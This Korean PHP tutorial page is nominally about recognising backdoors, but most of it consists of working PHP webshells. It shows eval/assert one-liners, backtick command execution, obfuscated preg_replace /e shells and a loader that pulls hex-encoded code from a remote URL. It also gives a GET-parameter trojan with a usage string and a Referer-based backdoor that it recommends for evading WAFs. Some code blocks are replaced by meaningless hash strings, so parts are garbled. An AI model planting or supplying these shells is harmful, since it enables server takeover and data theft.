>백엔드 개발 >PHP 튜토리얼 >PHP 기술을 확인하거나 죽이지 않고도 간단한 PHP 백도어를 식별하는 방법을 가르쳐줍니다.

PHP 기술을 확인하거나 죽이지 않고도 간단한 PHP 백도어를 식별하는 방법을 가르쳐줍니다.

WBOY
WBOY원래의
2016-05-16 20:07:501144검색

가장 일반적인 한 문장 백도어 중 하나는 다음과 같이 작성될 수 있습니다

<&#63;php @eval($_POST['cmd']);&#63;>

또는 이것

<&#63;php @assert($_POST['cmd']);&#63;>

학생 tudouya가

을 사용하여 FREEBUF에 [구성 기술]을 제공했습니다.

코드 복사 코드는 다음과 같습니다.

0ef697773302a4062adb7301e2bdb08a

시공세대는 물론 너무 직관적이라면 이렇게 쓰면 됩니다

코드 복사 코드는 다음과 같습니다.

116218aeb6a2063d11363e421305371f

그런 다음 이를 위장하기 위한 일반 코드를 입력하면 간단한 "anti-kill" 셸 샘플이 나타납니다.

역사상 가장 쉬운 PHP 백도어로 알려진 것이 무엇인지 살펴보겠습니다

코드로 바로 이동:

<&#63;php
 
$c=urldecode($_GET['c']);if($c){`$c`;}//完整
 
!$_GET['c']||`{$_GET['c']}`;//精简
 
/*******************************************************
 * 原理:PHP中``符号包含会当作系统命令执行
 * 示例:http://host/&#63;c=type%20config.php>config.txt
 *    然后就可以下载config.txt查看内容了!
 *    可以试试更变态的命令,不要干坏事哦!
 *******************************************************/



구현 원칙은 PHP가 ` 기호(참고: 작은 따옴표 아님)에 포함된 내용을 실행을 위한 시스템 명령으로 직접 구문 분석한다는 것입니다! 이렇게 하면 자유롭고 비정상적으로 확장할 수 있습니다!

똑같은 간단한 코드를 살펴보겠습니다

<&#63;php 
preg_replace("/[errorpage]/e",@str_rot13('@nffreg($_CBFG[cntr]);'),"saft"); 
&#63;> 

비밀번호 페이지

최근 PHP 기반의 웹쉘 샘플을 캡처했습니다. 독창적인 동적 코드 생성 방법과 번거로운 셀프 페이지 변장 방법이 이 샘플을 분석하는 과정에서 많은 즐거움을 느끼게 했습니다. 다음으로, 이 멋진 Webshell을 함께 즐겨봅시다.

Webshell 코드는 다음과 같습니다.

<&#63;php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))
$_SESSION['api']=substr(file_get_contents(
sprintf('%s&#63;%s',pack("H*",
'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
&#63;>

핵심은 다음 코드를 살펴보는 것입니다.

코드 복사 코드는 다음과 같습니다.

sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())

여기서 실행해보니 실제로는 사진입니다. 복호화된 사진 주소는 다음과 같습니다.

http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85
그런 다음 file_get_contents 함수를 호출하여 이미지를 문자열로 읽은 다음 substr은 3649바이트 이후의 내용을 가져온 다음 gzuncompress를 호출하여 압축을 풀어 실제 코드를 얻습니다. 마지막으로 preg_replace의 수정자 e가 호출되어 악성 코드를 실행합니다. 악성 샘플 코드를 복원하려면 여기에 다음 명령문을 실행하세요.

코드 복사 코드는 다음과 같습니다.

3e91e6a1268f3ed5d3e97b6ac241960b

한 문장으로 기능 없이 PHP 숨기기:

   <&#63;php 
session_start(); 
$_POST [ 'code' ] && $_SESSION [ 'theCode' ] = trim( $_POST [ 'code' ]); 
$_SESSION [ 'theCode' ]&&preg_replace( '\'a\'eis' , 'e' . 'v' . 'a' . 'l' . '(base64_decode($_SESSION[\'theCode\']))' , 'a' ); 
&#63;>
 

$_POST['code']의 내용을 $_SESSION['theCode']에 할당한 다음 $_SESSION['theCode']를 실행하는 것이 특징입니다. 스캐닝 도구를 사용하여 코드를 확인하면 경보가 울리지 않습니다. 이는 목적입니다.
매우 숨겨진 PHP 백도어:

<&#63;php $_GET [a]( $_GET [b]);&#63;>


GET 기능을 사용하는 것만으로도 트로이 목마가 됩니다.
사용 방법:
​ ?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))};

실행 후 현재 디렉토리는 한 문장으로 c.php Trojan을 생성합니다. 매개변수 a가 eval인 경우 Trojan 생성에 실패했다는 오류가 보고되며, Assert인 경우에도 동일한 오류가 보고됩니다. 그러나 트로이 목마는 실제로 과소평가되어서는 안 됩니다. 이는 이러한 응용 프로그램으로 확장되는 것입니다.
PHP 백도어를 실행하도록 코딩된 계층적 요청:
이 방법은 두 개의 파일인 파일 1
에서 구현됩니다.

 <&#63;php 
//1.php 
header( 'Content-type:text/html;charset=utf-8' ); 
parse_str ( $_SERVER [ 'HTTP_REFERER' ], $a ); 
if (reset( $a ) == '10' && count ( $a ) == 9) { 
eval ( base64_decode ( str_replace ( " " , "+" , implode( array_slice ( $a , 6))))); 
} 

&#63;>

파일 2

 <&#63;php 
//2.php 
header( 'Content-type:text/html;charset=utf-8' ); 
//要执行的代码 
$code = <<<CODE 
phpinfo(); 
CODE; 
//进行base64编码 
$code = base64_encode ( $code ); 
//构造referer字符串 
$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=" ; 
//后门url 
$url = 'http://localhost/test1/1.php ' ; 
$ch = curl_init(); 
$options = array ( 
CURLOPT_URL => $url , 
CURLOPT_HEADER => FALSE, 
CURLOPT_RETURNTRANSFER => TRUE, 
CURLOPT_REFERER => $referer
); 
curl_setopt_array( $ch , $options ); 
echocurl_exec( $ch ); 

&#63;>


HTTP 요청에서 HTTP_REFERER를 사용하여 base64로 인코딩된 코드를 실행하면 백도어 효과를 얻을 수 있습니다. 일반적으로 WAF는 리퍼러를 더 느슨하게 감지하거나 감지하지 않습니다. 이 아이디어를 사용하여 waf를 우회하는 것이 좋습니다.

우리는 학습 태도로 이러한 PHP 백도어 프로그램을 다룹니다. 많은 PHP 백도어 코드를 통해 프로그래머의 의도가 얼마나 좋은지 알 수 있습니다.

성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.